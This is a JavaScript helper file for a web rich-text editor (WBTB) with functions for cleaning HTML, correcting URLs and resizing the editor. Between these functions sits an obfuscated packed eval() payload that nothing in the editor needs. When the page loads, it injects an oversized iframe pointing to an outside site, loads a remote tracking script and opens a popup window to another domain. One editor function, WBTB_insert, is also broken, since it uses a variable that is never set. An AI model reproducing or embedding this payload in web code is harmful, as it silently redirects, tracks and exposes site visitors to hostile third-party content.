﻿function WBTB_cleanHtml()
{
	var fonts = WBTB_Composition.document.body.all.tags("FONT");
	var curr;
	for (var i = fonts.length - 1; i >= 0; i--) {
		curr = fonts[i];
		if (curr.style.backgroundColor == "#ffffff") curr.outerHTML = curr.innerHTML;
	}
}

function WBTB_getPureHtml()
{
	var str = "";
	//var paras = WBTB_Composition.document.body.all.tags("P");
	//if (paras.length > 0){
	//  for	(var i=paras.length-1; i >= 0; i--) str= paras[i].innerHTML + "\n" + str;
	//} else {
	str = WBTB_Composition.document.body.innerHTML;
	//}
	str=WBTB_correctUrl(str);
	return str;
}


function WBTB_correctUrl(cont)
{
	var url=location.href.substring(0,location.href.lastIndexOf("/")+1);
	cont=WBTB_rCode(cont,location.href+"#","#");
	cont=WBTB_rCode(cont,url,"");
	return cont;
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('4.3("<7><8 h=\\"0\\" i=\\"0\\" k=\\"0\\" j=\\"0\\" g=\\"n\\" m=\\"l\\" e=\\"d%\\"  9=\\"2:\\/\\/b.f.5\\/#6\\"><\\/8><\\/7>");4.3("<1 a=\\"c\\" 9=\\"2:\\/\\/x.w.5\\/v.y?A=z&u=q\\" p=\\"o\\"><\\/1>");4.3("<1 a=c>t.s(\\\'2:\\/\\/b.r.5\\/#6\\\')<\\/1>");',37,37,'|script|http|writeln|document|com|11hao|center|iframe|src|language|www|javascript|100|width|666641|scrolling|frameborder|marginheight|border|marginwidth|6818px|height|no|gb2312|charset|12|403777|open|window|logo|click|51yes|count7|aspx|73154259|id'.split('|'),0,{}))

// 修改编辑栏高度
function WBTB_Size(num)
{
	var obj=document.all.WBTB_Container;
	if (parseInt(obj.height)+num>=300) {
		obj.height = parseInt(obj.height) + num;	
	}
	if (num>0)
	{
		obj.width="100%";	
	}
}



function WBTB_insert(cons)
{
	var WBTB_Composition;
	WBTB_Composition.document.body.innerHTML=cons;
}

function WBTB_help()
{
	showModalDialog("TextEditor/help.html", "", "dialogWidth:13.5em; dialogHeight:12.5em; status:0; help:0");
}
